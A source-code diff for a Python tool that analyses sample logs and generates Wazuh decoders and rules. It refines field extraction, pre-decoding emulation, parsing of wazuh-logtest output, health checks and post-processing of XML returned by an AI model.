FIELD_ALIASES.get(canonical, ()) + + _FIELD_LABEL_HINTS.get(canonical, ()) + ): + cleaned = (label or "").strip() + if cleaned and cleaned.lower() not in {existing.lower() for existing in labels}: + labels.append(cleaned) + # Longest first: `srcuser=` must win over the `user` substring inside it. + return sorted(labels, key=len, reverse=True) + + +# Words that structure a log line rather than carry a value. Only rejected for +# bare-space matches: `Failed password for user from 172.18.1.1` names no user +# at all, and the space form happily offered `from` as the srcuser. After an +# explicit `=` or `:` these are legitimate values (`status=unknown`). +_STRUCTURAL_WORDS = frozenset({ + "a", "an", "and", "as", "at", "by", "for", "from", "in", "is", "of", "on", + "or", "the", "to", "via", "was", "with", "using", "invalid", "unknown", + "none", "null", "na", "user", "username", "account", "port", "host", +}) + + +def _plausible_located_value(value: str, space_separated: bool = False) -> bool: + value = value.strip().strip("\"'") + if not value or len(value) > _MAX_LOCATED_VALUE_LEN: + return False + # Punctuation-only, or something that is plainly the next key rather than a + # value ("user action=deny" must not yield "action=deny"). + if not re.search(r"[A-Za-z0-9]", value): + return False + if "=" in value or value.endswith(":"): + return False + if space_separated and value.lower() in _STRUCTURAL_WORDS: + return False + return True + + +def locate_field_value(log_line: str, field_name: str) -> Optional[str]: + """Find the value a named field would take in this log, by its label. + + Used only for field names proposed by retrieval — the log itself decides + whether the field exists at all. Returns None when no label in the log + plausibly introduces a value, which is the common case and must stay cheap. + """ + if not log_line or not field_name: + return None + + for label in _label_candidates(field_name): + escaped = re.escape(label) + # Quoted forms first: `action:"Key Install"` must yield the whole value, + # not stop at the space and hand back "Key". Bare space is last and only + # for labels that conventionally use it. + templates = [ + (rf'(? Dict[str, str]: + """Fields a retrieved decoder names that the local extractor missed. + + select_requested_fields() intersects ml_order against what the heuristics + already found, so a retrieved could only ever reorder fields — it + could never contribute one. That silently dropped the field most worth + having: for an sshd failed-login the retrieved decoder says srcuser,srcip + and the extractor finds only srcip. + + A proposal survives only if the regex the generator would actually emit for + it captures, in *every* sample log, exactly the value located in that log. + A pattern that only fits the first sample is overfitting, which is the + failure mode this whole path has to avoid, so it is rejected. + """ + proposals: Dict[str, str] = {} + sample_logs = [log for log in (logs or []) if log and log.strip()] + if not ml_order or not sample_logs: + return proposals + + for raw_name in ml_order: + field_name = (raw_name or "").strip() + if not field_name: + continue + + canonical = canonicalize_field_name(field_name) + if not canonical: + continue + # Already available, or already proposed under an equivalent spelling. + # Fuzzy matching stays ON here on purpose: this is the "don't capture + # the same value twice" guard, so an over-eager match suppresses a + # redundant proposal rather than inventing a field. + if select_requested_fields(common_fields, [field_name])[0]: + continue + if canonical in {canonicalize_field_name(name) for name in proposals}: + continue + + located = [locate_field_value(log, field_name) for log in sample_logs] + if not all(located): + continue + + candidate_pairs = build_split_regexes_from_fields( + sample_logs, {field_name: located[0]} + ) + if len(candidate_pairs) != 1: + continue + regex, order = candidate_pairs[0] + if not regex or len(order) != 1: + continue + + verified = True + for log, expected in zip(sample_logs, located): + # Phase 2 sees the post-pre-decode body, which is what + # build_split_regexes_from_fields anchored against. + body = (parse_phase1_predecode(log).get("body") or log).strip() + captures = osregex_captures(regex, body) + if not captures or captures[0] != expected: + verified = False + break + if verified: + proposals[field_name] = located[0] + + return proposals + + def choose_log_driven_fields( logs: List[str], requested_fields: List[str], @@ -1148,8 +1765,16 @@ def choose_log_driven_fields( if value and key not in common_fields: common_fields[key] = value + # Verified retrieval proposals join the pool, but deliberately NOT + # requested_fields: adding a name there flips the branch below to + # "requested only" and drops every heuristic fallback field, so proposing + # srcuser would have cost us srcip. They enter as candidates that ml_order + # can then select, exactly like a field the extractor had found itself. + for name, value in propose_ml_order_fields(logs, ml_order, common_fields).items(): + common_fields.setdefault(name, value) + selected_requested, missing_requested = select_requested_fields(common_fields, requested_fields) - ml_selected, _ = select_requested_fields(common_fields, ml_order or []) + ml_selected, _ = select_requested_fields(common_fields, ml_order or [], allow_affix=False) fallback_fields = fields_excluding_noise(common_fields) requested_canonical = {canonicalize_field_name(name) for name in (requested_fields or [])} @@ -1499,7 +2124,12 @@ def score_ml_decoder_template( if not ml_order: return score - selected_ml_fields, _ = select_requested_fields(available_fields, ml_order) + # Strict, to match how these names are actually resolved during selection. + # Scoring them with affix matching credited a template for fields that + # selection would then refuse, so templates ranked on matches they never had. + selected_ml_fields, _ = select_requested_fields( + available_fields, ml_order, allow_affix=False + ) if not selected_ml_fields: return 0.0 @@ -1535,22 +2165,94 @@ def select_ml_decoder_template( return selected +_SYSLOG_TIMESTAMP_RE = re.compile(r"^(?P[A-Z][a-z]{2}\s+\d+\s+\d{2}:\d{2}:\d{2})\s+(?P\S.*)$") +_SYSLOG_PROGRAM_RE = re.compile(r"^(?P[\w.-]+)(?:\[\d+\])?:\s*(?P.*)$") +# How many extra whitespace-separated tokens (beyond a single hostname) we'll +# tolerate between the timestamp and the "program[pid]:" marker. Real-world +# vendors sometimes wedge extra fields in there (e.g. a bare year, an IP +# address) that the classic 3-field BSD syslog shape doesn't account for. +_SYSLOG_MAX_HOSTNAME_TOKENS = 3 + + def parse_phase1_predecode(log_line: str) -> Dict[str, str]: + """Best-effort local approximation of Wazuh's Phase 1 pre-decoding. + + Handles common syslog style: Dec 25 20:45:02 host program[pid]: message + Only ever strips a timestamp + hostname + program marker it can actually + identify — if nothing matches, returns {} rather than guessing, so callers + must not treat a missing "body" as "safe to use the raw log instead" (the + raw log still has the header in it). + """ data: Dict[str, str] = {} - # Handles common syslog style: Dec 25 20:45:02 host program[pid]: message - syslog_re = re.compile( - r"^(?P[A-Z][a-z]{2}\s+\d+\s+\d{2}:\d{2}:\d{2})\s+(?P\S+)\s+(?P[\w.-]+)(?:\[\d+\])?:\s*(?P.*)$" - ) - m = syslog_re.match(log_line.strip()) - if not m: + line = log_line.strip() + + ts_match = _SYSLOG_TIMESTAMP_RE.match(line) + if not ts_match: return data - data["timestamp"] = m.group("timestamp") - data["hostname"] = m.group("hostname") - data["program_name"] = m.group("program") - data["body"] = m.group("body") + data["timestamp"] = ts_match.group("timestamp") + rest = ts_match.group("rest") + + tokens = rest.split(" ") + for token_count in range(1, min(len(tokens), _SYSLOG_MAX_HOSTNAME_TOKENS) + 1): + hostname_candidate = " ".join(tokens[:token_count]) + remainder = " ".join(tokens[token_count:]) + prog_match = _SYSLOG_PROGRAM_RE.match(remainder) + if prog_match: + data["hostname"] = hostname_candidate + data["program_name"] = prog_match.group("program") + data["body"] = prog_match.group("body") + return data + return data +# A fully-formed ISO8601 stamp and nothing else. Used to tell a clean +# pre-decode from one where Wazuh grabbed a fixed 31 characters and sliced into +# the following field — the reported timestamp then carries that debris. +_CLEAN_ISO8601_TS_RE = re.compile( + r"^\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}:?\d{2})?$" +) + + +def postpredecode_remainder( + raw_log: str, + predecoded_timestamp: Optional[str], + predecoded_hostname: Optional[str], +) -> Optional[str]: + """What Phase 2 decoders actually see once Wazuh's real Phase 1 pre-decoding + (per wazuh-logtest) has consumed the timestamp and, if matched, the hostname + token — even when it failed to extract a program_name. + + A custom parent decoder's must match against THIS remainder, not + the original raw log, or it will never fire once Wazuh strips the header. + Returns None when nothing was pre-decoded (timestamp not found), signalling + callers to fall back to generalizing from the start of the raw log instead. + """ + if not predecoded_timestamp: + return None + idx = raw_log.find(predecoded_timestamp) + if idx < 0: + return None + end = idx + len(predecoded_timestamp) + if predecoded_hostname: + host_match = re.match(r"\s+" + re.escape(predecoded_hostname) + r"(?=\s|$)", raw_log[end:]) + if host_match: + end += host_match.end() + elif _CLEAN_ISO8601_TS_RE.match(predecoded_timestamp): + # wazuh-logtest prints no `hostname:` line on the ISO8601 path, but + # Wazuh still consumes the token after the timestamp as the hostname — + # verified by giving a child decoder `^(\S+)`, which captured + # `event=authentication`, not the `VPNGW01` tag preceding it. Trusting + # the absent hostname anchored every prematch one token too early, so + # the parent could never fire. Only do this for a cleanly recognised + # ISO8601 stamp: when the pre-decoder mangles one (grabbing a fixed 31 + # chars and slicing the next field) the reported timestamp carries that + # debris, and no token boundary can be trusted. + end += len(re.match(r"\s*\S*", raw_log[end:]).group()) + remainder = raw_log[end:].lstrip() + return remainder or None + + def clean_rule_description(text: str) -> str: cleaned = text.strip() # Extract explicit "use description as X" / "use the description as X" / "description should be X" @@ -2041,6 +2743,36 @@ def extract_cef_fields(log_line: str) -> Optional[Dict[str, str]]: return fields +# URI schemes that the colon scan would otherwise read as field names, +# turning "https://example.com" into a field called `https`. +_URL_SCHEME_KEYS = frozenset( + {"http", "https", "ftp", "ftps", "ws", "wss", "file", "ldap", "ldaps", "mailto"} +) + + +def _is_noise_field_key(key: str) -> bool: + """True for colon-scan keys that are timestamp or URL fragments, not fields. + + The colon scan cannot tell "status: 200" from the "14:22:31" in a clock or + the "https://" in a URL — all three are `token:value`. Keys that can never + be a real field name are rejected here.""" + candidate = (key or "").strip() + if not candidate: + return True + if candidate.lower() in _URL_SCHEME_KEYS: + return True + if not re.search(r"[A-Za-z]", candidate): + # "14", "22", "0800" — a clock or offset fragment. + return True + if re.search(r"\d{4}-\d{2}-\d{2}", candidate) or re.search(r"\d{2}:\d{2}", candidate): + # "2026-08-01T14" — an ISO timestamp cut at its first colon. + return True + if re.match(r"^\d", candidate): + # Field names do not start with a digit; timestamp fragments do. + return True + return False + + def extract_relevant_fields(log_line: str) -> Dict[str, str]: fields: Dict[str, str] = {} text = (log_line or "").strip() @@ -2093,20 +2825,32 @@ def extract_relevant_fields(log_line: str) -> Dict[str, str]: return fields # Extract `=` separated pairs first (stronger indicator) - kv_pattern_eq = r"(\b[\w\.-]+)\s*([=]+)\s*('(?:[^']|\\')*'|\"(?:[^\"]|\\\")*\"|[^\s,;]+)" + # `|` terminates a value as surely as a comma does. Without it, the first + # key in a pipe-delimited line ("f:ts=...|f:host=...|d:proto=...") swallows + # every later field and nothing else is ever extracted. + kv_pattern_eq = r"(\b[\w\.-]+)\s*([=]+)\s*('(?:[^']|\\')*'|\"(?:[^\"]|\\\")*\"|[^\s,;|]+)" + eq_found = False for key, sep, val in re.findall(kv_pattern_eq, text): cleaned = val.strip("'\"") if cleaned: + eq_found = True fields.setdefault(key, cleaned) fields.setdefault(f"_kv_{key}", f"{key}{sep}{cleaned}") - # Extract `:` separated pairs, but restrict value to not contain `=` (avoids capturing "program: key=val" as a single pair) - kv_pattern_colon = r"(\b[\w\.-]+)\s*(:+)\s*('(?:[^']|\\')*'|\"(?:[^\"]|\\\")*\"|[^\s,;=]+)" - for key, sep, val in re.findall(kv_pattern_colon, text): - cleaned = val.strip("'\"") - if cleaned: - fields.setdefault(key, cleaned) - fields.setdefault(f"_kv_{key}", f"{key}{sep}{cleaned}") + # Extract `:` separated pairs, but restrict value to not contain `=` (avoids capturing "program: key=val" as a single pair). + # + # Only when the `=` scan found nothing. A colon is not a field separator in + # a line that already uses `=` — there it belongs to the clock + # ("14:22:31"), the syslog tag ("accesslog:") or a URL ("https://"), and + # scanning anyway invents fields like `14`, `accesslog` and `2026-08-01T14` + # on top of the real ones. + if not eq_found: + kv_pattern_colon = r"(\b[\w\.-]+)\s*(:+)\s*('(?:[^']|\\')*'|\"(?:[^\"]|\\\")*\"|[^\s,;=]+)" + for key, sep, val in re.findall(kv_pattern_colon, text): + cleaned = val.strip("'\"") + if cleaned and not _is_noise_field_key(key): + fields.setdefault(key, cleaned) + fields.setdefault(f"_kv_{key}", f"{key}{sep}{cleaned}") # Common semantic patterns user_action = re.search(r"User '([^']+)' (failed login|successful login|login failed|login success|logged in)", text, flags=re.IGNORECASE) @@ -2258,17 +3002,28 @@ def parse_logtest_output(stdout: str) -> Dict[str, Any]: "no_rule_match": False, } - def match_one(pattern: str) -> Optional[str]: - m = re.search(pattern, stdout, flags=re.IGNORECASE | re.MULTILINE) + def match_one(pattern: str, text: Optional[str] = None) -> Optional[str]: + m = re.search( + pattern, + stdout if text is None else text, + flags=re.IGNORECASE | re.MULTILINE, + ) return m.group(1) if m else None + # `id`, `level` and `description` are rule properties, but Phase 2 prints + # decoded fields by the same names — and `id` is one of Wazuh's documented + # static field names, so a decoder extracting an event code makes the first + # `id:` in the output a decoded field, not the rule. Scope the rule lookups + # to the Phase 3 block so a decoded `id` is never read back as the rule id. + phase3_block = stdout.split("**Phase 3", 1)[1] if "**Phase 3" in stdout else "" + result["predecoded_timestamp"] = match_one(r"^\s*timestamp:\s*'([^']*)'") result["predecoded_hostname"] = match_one(r"^\s*hostname:\s*'([^']*)'") result["program_name"] = match_one(r"^\s*program_name:\s*'([^']*)'") result["decoder_name"] = match_one(r"^\s*name:\s*'([^']*)'") - rule_id = match_one(r"^\s*id:\s*'([^']*)'") - rule_level = match_one(r"^\s*level:\s*'([^']*)'") - rule_description = match_one(r"^\s*description:\s*'([^']*)'") + rule_id = match_one(r"^\s*id:\s*'([^']*)'", phase3_block) + rule_level = match_one(r"^\s*level:\s*'([^']*)'", phase3_block) + rule_description = match_one(r"^\s*description:\s*'([^']*)'", phase3_block) if rule_id and rule_id.isdigit(): result["rule_id"] = int(rule_id) @@ -2294,7 +3049,11 @@ def match_one(pattern: str) -> Optional[str]: lower = stdout.lower() result["no_decoder_match"] = ("no decoder matched" in lower) or ("name:" not in lower and result["phase2_completed"]) - result["no_rule_match"] = ("no rule matched" in lower) or ("id:" not in lower and result["phase3_completed"]) + # Same scoping as the rule lookups above: a Phase 2 `id:` field would + # otherwise read as "a rule fired" even when none did. + result["no_rule_match"] = ("no rule matched" in lower) or ( + "id:" not in phase3_block.lower() and result["phase3_completed"] + ) return result @@ -2677,8 +3436,56 @@ def analyze_logs_impl(request: AnalyzeRequest) -> Dict[str, Any]: parsed_entries = logtest_scan["parsed_entries"] first_parsed = parsed_entries[0] if parsed_entries else {} predecoded_program = first_parsed.get("program_name") + predecoded_timestamp = first_parsed.get("predecoded_timestamp") + predecoded_hostname = first_parsed.get("predecoded_hostname") + # What Wazuh's real Phase 1 (per wazuh-logtest, not our local heuristic) leaves + # for Phase 2 to see, when it consumed a timestamp/hostname but no program_name. + postdecode_remainder = ( + None if predecoded_program + else postpredecode_remainder(first_non_empty(raw_logs), predecoded_timestamp, predecoded_hostname) + ) prematch_seed = predecoded_program or extracted_program or "" prematch = choose_prematch(raw_logs, app_name, predecoded_program=predecoded_program) + + # What a parent is actually tested against — for every sample, + # not just the first. Deriving from one log pinned that log's own tokens + # (`cli` from a controller that also emits `stm`) and the prematch then + # failed the other samples supplied in the very same request. + prematch_targets: List[str] = [] + for raw_log, entry in zip(raw_logs, parsed_entries): + if entry.get("program_name"): + continue + prematch_targets.append( + postpredecode_remainder( + raw_log, entry.get("predecoded_timestamp"), entry.get("predecoded_hostname") + ) + or raw_log + ) + prematch_target = postdecode_remainder or first_non_empty(raw_logs) + if not prematch_targets: + prematch_targets = [prematch_target] + + prematch_warning: Optional[str] = None + if not predecoded_program: + # choose_prematch falls back to the app name, which is usually absent + # from the log — a prematch that matches nothing. Only keep it if it + # really matches every sample; otherwise derive one from their headers. + if not all(osregex_matches(prematch, target) for target in prematch_targets): + derived = derive_parent_prematch_multi(prematch_targets) + if derived: + prematch = derived + + # Wazuh's pre-decoder grabs a fixed-width timestamp and can slice through + # the token after it (ISO8601 followed by "|TAG" loses part of the tag). + # The header is then unavailable to the prematch, which is surprising + # enough to be worth saying out loud. + if predecoded_timestamp and re.search(r"[|;,]", predecoded_timestamp): + prematch_warning = ( + f"Wazuh pre-decoding consumed {predecoded_timestamp!r} as the timestamp, " + "cutting into the field after it. Phase 2 decoders only see " + f"{(prematch_target or '')[:60]!r}, so the parent cannot " + "anchor on the original header." + ) predecoded = parse_phase1_predecode(first_non_empty(raw_logs)) token_source = predecoded.get("body") or first_non_empty(raw_logs) unique_after_predecoded = derive_unique_token(token_source) @@ -2731,7 +3538,11 @@ def analyze_logs_impl(request: AnalyzeRequest) -> Dict[str, Any]: "program_name": program_name, "extracted_program_name": extracted_program, "predecoded_program_name": predecoded_program, + "predecoded_timestamp": predecoded_timestamp, + "predecoded_hostname": predecoded_hostname, + "postdecode_remainder": postdecode_remainder, "prematch": prematch, + "prematch_warning": prematch_warning, "unique_after_predecoded": unique_after_predecoded, "token_source": token_source, "auto_fields": safe_auto_fields(first_non_empty(raw_logs)), @@ -2801,7 +3612,7 @@ def build_decoder_xml( child_lines.extend( [ f" {escape_xml(regex)}", - f" {escape_xml(','.join(order))}", + f" {escape_xml(','.join(normalize_order_names(order)))}", "", ] ) @@ -3019,14 +3830,26 @@ def build_candidate(request: CandidateRequest) -> Dict[str, Any]: parent_prematch = None if not parent_program_name: - token_source = analysis.get("token_source") - logs_to_use = [token_source] if token_source else [sample.raw_log for sample in request.logs] - parent_prematch = prematch_osregex_from_current_logs( - logs_to_use, - analysis.get("extracted_program_name"), - unique_after_predecoded, - prematch, + # analyze_logs_impl already derived this from the post-pre-decoding + # remainder and verified it matches. Re-deriving from the raw log — + # which still carries the header Wazuh strips before Phase 2 — produced + # a parent anchored on the timestamp itself (`^\d+\p\d+\p\d+T\d+...`), + # so the decoder could never fire for any log with a recognised + # timestamp. Only fall back when the verified one does not apply. + visible_text = analysis.get("postdecode_remainder") or first_non_empty( + [sample.raw_log for sample in request.logs] ) + if prematch and osregex_matches(prematch, visible_text): + parent_prematch = prematch + else: + token_source = analysis.get("token_source") + logs_to_use = [token_source] if token_source else [sample.raw_log for sample in request.logs] + parent_prematch = prematch_osregex_from_current_logs( + logs_to_use, + analysis.get("extracted_program_name"), + unique_after_predecoded, + prematch, + ) child_prematch = ( unique_after_predecoded @@ -3322,37 +4145,76 @@ def run_local_sudo_command(args: List[str], input_data: Optional[str] = None, ti return {"returncode": None, "stdout": "", "stderr": _redact_secrets(str(e)), "connection_error": False} +# wazuh-logtest exits 0 even when wazuh-analysisd is down — it reports the +# failure on stderr and produces no analysis. The exit code is therefore not a +# usable health signal on its own; these signatures are what actually +# distinguish "manager reachable" from "manager down". +_LOGTEST_UNAVAILABLE_SIGNATURES = ( + "error when connecting with wazuh-analysisd", + "unable to connect to wazuh-analysisd", + "error connecting to wazuh-analysisd", + "cannot connect to wazuh-analysisd", +) + +# Fed to logtest so it actually attempts an analysisd round-trip. An empty +# stdin makes logtest exit immediately without ever opening the socket, which +# is why bool: + """True when logtest output shows it could not reach wazuh-analysisd.""" + blob = f"{stdout or ''}\n{stderr or ''}".lower() + return any(sig in blob for sig in _LOGTEST_UNAVAILABLE_SIGNATURES) + + def _refresh_wazuh_accessible() -> None: - """Check SSH access to wazuh-logtest and cache the result. Retries 3 times.""" + """Probe wazuh-logtest end-to-end and cache the result. Retries 3 times. + + Checks that logtest can actually reach wazuh-analysisd, not merely that the + binary exists and is executable — a stopped manager leaves the binary (and + even its socket file) in place, so a filesystem check always says "up".""" import app.main as _m binary = find_wazuh_logtest() - if WAZUH_REMOTE_ENABLED and binary: - for attempt in range(3): - try: + if not binary: + _m._WAZUH_LOGTEST_ACCESSIBLE = False + return + + for attempt in range(3): + try: + if WAZUH_REMOTE_ENABLED: remote_cmd = build_remote_sudo_command( - f"{WAZUH_LOGTEST} -q /dev/null; echo EXITCODE=$?" + f"{WAZUH_LOGTEST} -q; echo EXITCODE=$?" ) cmd = ssh_base_cmd() + [remote_cmd] proc = subprocess.run( cmd, text=True, capture_output=True, - input=build_remote_stdin(None, requires_sudo=True), + input=build_remote_stdin(_LOGTEST_PROBE_LINE, requires_sudo=True), timeout=15, ) - if proc.returncode == 0 and "EXITCODE=0" in (proc.stdout or ""): - _m._WAZUH_LOGTEST_ACCESSIBLE = True - return - except Exception: - pass - if attempt < 2: - import time as _t - _t.sleep(2) - _m._WAZUH_LOGTEST_ACCESSIBLE = False - elif binary: - _m._WAZUH_LOGTEST_ACCESSIBLE = os.access(binary, os.X_OK) - else: - _m._WAZUH_LOGTEST_ACCESSIBLE = False + reached = proc.returncode == 0 and "EXITCODE=0" in (proc.stdout or "") + out, err = proc.stdout, proc.stderr + else: + result = run_local_sudo_command( + [WAZUH_LOGTEST, "-q"], + input_data=_LOGTEST_PROBE_LINE + "\n", + timeout=15, + ) + reached = result["returncode"] == 0 + out, err = result["stdout"], result["stderr"] + + if reached and not _logtest_output_indicates_down(out, err): + _m._WAZUH_LOGTEST_ACCESSIBLE = True + return + except Exception: + pass + if attempt < 2: + import time as _t + _t.sleep(2) + + _m._WAZUH_LOGTEST_ACCESSIBLE = False def run_ssh_command(remote_cmd: str, input_data: Optional[str] = None, timeout: int = 20) -> Dict[str, Any]: cmd = ssh_base_cmd() + [remote_cmd] @@ -4039,18 +4901,56 @@ def _build_ai_prompt(request: AIGenerateRequest, analysis: Dict[str, Any]) -> st "DO NOT use in the parent decoder, because the header is no longer there to be matched!" ) else: - token_source = analysis.get("token_source") - logs_to_use = [token_source] if token_source else [s.raw_log for s in request.logs] - parent_prematch = prematch_osregex_from_current_logs( - logs_to_use, - extracted_program, - analysis.get("unique_after_predecoded"), - analysis.get("prematch"), - ) - if parent_prematch: - parent_strategy = f"\n\nNo program name pre-decoded by Wazuh. You MUST use {parent_prematch} for the parent decoder. Do NOT invent a different prematch." + postdecode_remainder = analysis.get("postdecode_remainder") + if postdecode_remainder: + # Wazuh's real Phase 1 (per wazuh-logtest) consumed a timestamp — and + # maybe a hostname token — but never found a program_name. Phase 2 + # only ever sees what's left over, so the prematch MUST be anchored + # there, not at the original start of the log. + parent_prematch = analysis.get("prematch") + if not osregex_matches(parent_prematch, postdecode_remainder): + parent_prematch = derive_parent_prematch(postdecode_remainder) + if not parent_prematch: + boundary = default_prematch_boundary(postdecode_remainder) + generalized = generalize_prefix_literal(boundary) + parent_prematch = f"^{generalized}" if generalized else None + consumed_desc = f"timestamp ('{analysis.get('predecoded_timestamp')}')" + if analysis.get("predecoded_hostname"): + consumed_desc += f" and hostname ('{analysis.get('predecoded_hostname')}')" + if parent_prematch: + parent_strategy = ( + f"\n\nCRITICAL: Wazuh Phase 1 pre-decoding consumed the {consumed_desc} but found NO program_name. " + f"Phase 2 decoders therefore only ever see the log starting AFTER that point: " + f"'{postdecode_remainder[:80]}'. " + f"You MUST use {parent_prematch} for the parent decoder — written to match " + "starting from THAT remainder. Do NOT include the timestamp or hostname in the prematch; Wazuh " + "has already stripped them before Phase 2 runs, so a prematch anchored at the original log start " + "will never fire." + ) + else: + parent_strategy = ( + f"\n\nWazuh Phase 1 pre-decoding consumed the {consumed_desc} but found NO program_name. " + f"Phase 2 decoders only ever see the log starting AFTER that point: '{postdecode_remainder}'. " + "You MUST write to match starting from THAT remainder, not from the original " + "timestamp/hostname — those are already stripped before Phase 2 runs." + ) else: - parent_strategy = "\n\nNo program name pre-decoded by Wazuh. You MUST use for the parent decoder instead of based on the log's prefix." + token_source = analysis.get("token_source") + logs_to_use = [token_source] if token_source else [s.raw_log for s in request.logs] + # Nothing was pre-decoded, so Phase 2 sees the raw line and the + # prematch derived in analysis applies as-is. + raw_target = first_non_empty([s.raw_log for s in request.logs]) + parent_prematch = analysis.get("prematch") + if not osregex_matches(parent_prematch, raw_target): + parent_prematch = derive_parent_prematch(raw_target) or prematch_osregex_from_current_logs( + logs_to_use, + extracted_program, + analysis.get("unique_after_predecoded"), + ) + if parent_prematch: + parent_strategy = f"\n\nNo program name pre-decoded by Wazuh. You MUST use {parent_prematch} for the parent decoder. Do NOT invent a different prematch." + else: + parent_strategy = "\n\nNo program name pre-decoded by Wazuh. You MUST use for the parent decoder instead of based on the log's prefix." logtest_summary = analysis.get("wazuh_logtest_summary", {}) logtest_decoded = analysis.get("logtest_decoded_fields", {}) @@ -4111,6 +5011,9 @@ def _build_ai_prompt(request: AIGenerateRequest, analysis: Dict[str, Any]) -> st decoder_rules_list = [ "- Parent: MUST use UNLESS Wazuh explicitly predecoded a program_name. Do NOT guess program_name.", + "- NEVER hardcode a literal month/day/year/timestamp value (e.g. ^Jul) from the sample " + "log into a regex or prematch — generalize it (\\S+ for month names, \\d+ for numeric date/time parts) or it " + "will only ever match logs from that exact date.", ] if getattr(request, 'split_decoders', False): decoder_rules_list.append("- Child: YOU MUST SPLIT CHILD DECODERS. Create a SEPARATE child decoder block for EVERY SINGLE field you extract. Each child decoder should have , a specific for just that field, and an containing ONLY that single field name. All children share the same decoder name.") @@ -4194,11 +5097,11 @@ async def _stream_from_api(url: str, payload: dict, headers: dict, max_retries: await asyncio.sleep(backoff) continue else: - yield f"ERROR 429: Rate limit exceeded after {max_retries} retries. Try again later.".encode() + yield f"ERROR: 429 Rate limit exceeded after {max_retries} retries. Try again later.".encode() return if response.status_code != 200: body = await response.aread() - yield f"ERROR {response.status_code}: {body.decode()}".encode() + yield f"ERROR: HTTP {response.status_code} from AI provider: {body.decode()}".encode() return async for line in response.aiter_lines(): if not line.startswith("data: "): @@ -4315,7 +5218,9 @@ async def ai_generate(request: AIGenerateRequest): return PlainTextResponse(f"Failed to connect to AI model (Ollama at {OLLAMA_BASE_URL}): {e}", status_code=503) decoder_xml, rule_xml = _extract_xml_from_ai_response( - full_response, regex_order_pairs=analysis.get("regex_order_pairs") + full_response, + regex_order_pairs=analysis.get("regex_order_pairs"), + analysis=analysis, ) if not decoder_xml and not rule_xml: print(f"WARNING in /api/ai/generate: No XML extracted. Raw AI response was:\n{full_response}") @@ -4541,24 +5446,195 @@ def _replace(m: _re.Match) -> str: content = _fix_osregex_ip_dots(content) return f'{m.group(1)}{content}{m.group(3)}' - return _re.sub(r'(]*>)([\s\S]*?)()', _replace, decoder_xml) + injected = _re.sub(r'(]*>)([\s\S]*?)()', _replace, decoder_xml) + + # Field-set lookup misses when the model renames a field (asking for + # `client` and getting `srcip`), leaving that child with + # whatever regex the model invented — often a bare (\S+) that matches the + # wrong token. When the child count lines up, pair by position instead and + # restore the requested field names. + child_blocks = [ + block for block in _re.findall(_DECODER_BLOCK_RE, injected, _re.DOTALL) + if _re.search(r'', block) + ] + if len(child_blocks) == len(regex_order_pairs): + needs_positional = False + for block, (_regex, order_list) in zip(child_blocks, regex_order_pairs): + order_m = _re.search(r'([^<]+)', block) + fields = frozenset(f.strip() for f in order_m.group(1).split(',')) if order_m else frozenset() + if fields != frozenset(order_list): + needs_positional = True + break + if needs_positional: + for block, (regex, order_list) in zip(child_blocks, regex_order_pairs): + fixed = _re.sub( + r'(]*>)[\s\S]*?()', + lambda m, r=regex: f"{m.group(1)}{r}{m.group(2)}", + block, + count=1, + ) + fixed = _re.sub( + r'()[^<]*()', + lambda m, o=",".join(order_list): f"{m.group(1)}{o}{m.group(2)}", + fixed, + count=1, + ) + injected = injected.replace(block, fixed, 1) + + return injected + + +_DECODER_BLOCK_RE = r'(]*>.*?)' + + +def _normalize_parent_attribute(decoder_xml: str) -> str: + """Rewrite `` as a child element. + + Wazuh only recognises as an element. As an attribute it is + silently ignored, so the decoder is treated as a top-level parent that + never matches and its fields are never extracted.""" + if not decoder_xml or "parent=" not in decoder_xml: + return decoder_xml + + def _fix(match: "re.Match") -> str: + attrs = match.group(1) + parent_m = re.search(r'\s*\bparent\s*=\s*"([^"]+)"', attrs) + if not parent_m: + return match.group(0) + cleaned = attrs.replace(parent_m.group(0), "") + return f"\n {parent_m.group(1)}" + + return re.sub(r']*)>', _fix, decoder_xml) + + +def _inject_parent_prematch(decoder_xml: str, prematch: Optional[str]) -> str: + """Replace the parent decoder's with the verified one. + + Models paraphrase the prematch they are given — dropping a leading \\p, + say — and the result no longer matches the sample. The prematch from + analysis has been checked against the log, so it wins.""" + if not decoder_xml or not prematch: + return decoder_xml + + def _fix_block(match: "re.Match") -> str: + block = match.group(0) + if not _is_parent_decoder_block(block): + return block + # A parent is the correct form when Wazuh pre-decoded one; + # do not bolt a prematch onto it. + if "" in block: + return block + if "" in block: + return re.sub( + r'[\s\S]*?', + lambda _m: f"{escape_xml(prematch)}", + block, + count=1, + ) + # No prematch at all — a parent with neither prematch nor program_name + # does not select anything, so insert it rather than leaving the block + # empty. + return re.sub( + r'(]*>)', + lambda m: f"{m.group(1)}\n {escape_xml(prematch)}", + block, + count=1, + ) + + return re.sub(_DECODER_BLOCK_RE, _fix_block, decoder_xml, flags=re.DOTALL) + +def _decoder_block_name(block: str) -> Optional[str]: + m = re.search(r']*\bname\s*=\s*"([^"]+)"', block) + return m.group(1) if m else None -def _enforce_split_decoders(decoder_xml: str, regex_order_pairs: List[Tuple[str, List[str]]]) -> str: + +def _is_parent_decoder_block(block: str) -> bool: + """A parent decoder declares no and extracts no fields. + + The check matters: a child whose the AI forgot also has no + tag, and mistaking it for a parent makes it its own parent.""" + return not re.search(r'', block) and not re.search(r'', block) + + +def _find_parent_decoder_name(decoder_xml: str) -> Optional[str]: + """Name of the first block that is itself a parent decoder.""" + for block in re.findall(_DECODER_BLOCK_RE, decoder_xml or "", re.DOTALL): + if _is_parent_decoder_block(block): + name = _decoder_block_name(block) + if name: + return name + return None + + +def _ensure_parent_decoder(decoder_xml: str, analysis: Optional[Dict[str, Any]] = None) -> str: + """Prepend a parent decoder for any name that nothing defines. + + A child decoder is only ever evaluated after its parent matches, so a set + of children whose parent does not exist matches nothing at all — Wazuh + accepts the XML and silently never fires it.""" + if not decoder_xml: + return decoder_xml + + blocks = re.findall(_DECODER_BLOCK_RE, decoder_xml, re.DOTALL) + if not blocks: + return decoder_xml + + defined = { + name + for block in blocks + if _is_parent_decoder_block(block) + for name in [_decoder_block_name(block)] + if name + } + referenced = [ + m.group(1).strip() + for m in re.finditer(r'([^<]+)', decoder_xml) + ] + + analysis = analysis or {} + missing: List[str] = [] + for name in referenced: + if name and name not in defined and name not in missing: + missing.append(name) + if not missing: + return decoder_xml + + program_name = analysis.get("program_name") + prematch = analysis.get("prematch") + + synthesized = [] + for name in missing: + lines = [f''] + if program_name: + lines.append(f" 